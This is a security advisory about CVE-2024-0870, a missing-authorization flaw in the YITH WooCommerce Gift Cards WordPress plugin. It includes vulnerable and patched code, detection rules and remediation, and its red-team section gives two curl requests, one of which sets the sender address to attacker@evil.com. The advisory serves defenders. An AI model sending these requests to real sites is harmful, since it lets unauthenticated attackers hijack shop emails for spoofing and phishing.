CVE-2024-0870

Executive Summary

CVE-2024-0870 is a Missing Authorization vulnerability in the YITH WooCommerce Gift Cards plugin for WordPress, affecting all versions up to and including 4.12.0. The flaw resides in the save_mail_status and save_email_settings AJAX actions, which lack proper capability checks. This allows unauthenticated attackers to modify WooCommerce email settings, potentially leading to email spoofing, phishing campaigns, or disruption of transactional emails. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time, but the impact on business operations and brand trust can be significant.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a commercial product by YITH, users must rely on vendor updates. No open-source patch is available, and the plugin is not managed via NPM, PyPI, Go, or Ruby registries.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the vulnerability does not allow direct data theft or system compromise, it enables unauthorized modification of email settings, which can be leveraged for social engineering attacks.

Deep Dive & Mechanics

The YITH WooCommerce Gift Cards plugin registers several AJAX actions for administrative functions. Two of these actions, save_mail_status and save_email_settings, are intended to be accessible only to authenticated users with administrative privileges (e.g., manage_woocommerce capability). However, the plugin fails to enforce any capability check before processing these requests.

Vulnerable Code Path:

1. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with action=save_mail_status or action=save_email_settings.
2. The plugin’s handler functions execute without verifying the user’s role or permissions.
3. The attacker can modify WooCommerce email templates, sender names, sender email addresses, and other email-related settings.

Impact:

• Email Spoofing: Change the "From" address to impersonate the site owner.
• Phishing Campaigns: Alter email templates to include malicious links or attachments.
• Disruption: Disable transactional emails (e.g., order confirmations, password resets), causing business interruption.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.12.0):

add_action('wp_ajax_save_mail_status', 'save_mail_status');
add_action('wp_ajax_nopriv_save_mail_status', 'save_mail_status'); // Missing capability check

function save_mail_status() {
    // Process and save mail status without checking user capabilities
    update_option('yith_wc_gift_cards_mail_status', $_POST['status']);
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_save_mail_status', 'save_mail_status');
// Remove the nopriv hook to restrict to authenticated users

function save_mail_status() {
    // Add capability check
    if (!current_user_can('manage_woocommerce')) {
        wp_die('Unauthorized', 403);
    }
    // Process and save mail status
    update_option('yith_wc_gift_cards_mail_status', $_POST['status']);
    wp_die();
}

Key Difference: The patched version removes the wp_ajax_nopriv_* hooks and adds a current_user_can() check to ensure only administrators can modify settings.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with YITH WooCommerce Gift Cards plugin <= 4.12.0.
• Network access to the site.

Exploitation Steps:

1. Identify the target site’s AJAX endpoint: https://target.com/wp-admin/admin-ajax.php.
2. Craft a POST request to modify email settings:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=save_mail_status&status=disabled" \
     -H "Content-Type: application/x-www-form-urlencoded"
   

3. To change the sender email address:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=save_email_settings&from_name=Attacker&from_email=attacker@evil.com" \
     -H "Content-Type: application/x-www-form-urlencoded"
   

Expected Outcome: The attacker can disable gift card emails or modify sender details without authentication.

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with actions save_mail_status or save_email_settings from unauthenticated users.
• Alert on changes to WooCommerce email settings outside of normal administrative activity.

Hardening:

• Apply the vendor patch immediately when available.
• As a workaround, add a custom capability check via a WordPress plugin or theme functions.php:

  add_action('init', function() {
      if (isset($_POST['action']) && in_array($_POST['action'], ['save_mail_status', 'save_email_settings'])) {
          if (!current_user_can('manage_woocommerce')) {
              wp_die('Unauthorized', 403);
          }
      }
  });
  

• Use a Web Application Firewall (WAF) to block unauthenticated requests to these specific AJAX actions.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=save_mail_status or action=save_email_settings from IPs not associated with known administrators.
  • Unusual changes in WooCommerce email settings (e.g., sender name, sender email, email templates).

• File IOCs:

  • Modified options in the wp_options table: yith_wc_gift_cards_mail_status, yith_wc_gift_cards_email_settings.

• Log IOCs:

  • WordPress debug log entries showing AJAX calls without authentication.

Detection Engineering

YARA Rule

rule CVE_2024_0870_YITH_Gift_Cards {
    meta:
        description = "Detects exploitation attempts for CVE-2024-0870 in YITH WooCommerce Gift Cards"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0870"
    strings:
        $ajax_action1 = "save_mail_status"
        $ajax_action2 = "save_email_settings"
        $admin_ajax = "admin-ajax.php"
    condition:
        all of ($ajax_action*) and #admin_ajax > 0
}

Sigma Rule

title: CVE-2024-0870 - Unauthenticated AJAX Request to YITH Gift Cards
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects unauthenticated POST requests to admin-ajax.php with YITH Gift Cards actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=save_mail_status"
            - "action=save_email_settings"
    condition: selection
falsepositives:
    - Legitimate administrative actions (should be rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0870 - YITH Gift Cards Unauthenticated AJAX Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=save_mail_status"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-0870;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations until a patch is available.
2. Implement a WAF rule to block unauthenticated requests to admin-ajax.php with the vulnerable actions.
3. Audit WooCommerce email settings for unauthorized changes.

Long-term Fix:

• Apply the vendor’s security update when released (check YITH’s changelog).
• If using a custom development, add capability checks as shown in the patched code example.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for missing authorization vulnerabilities.

Valters IT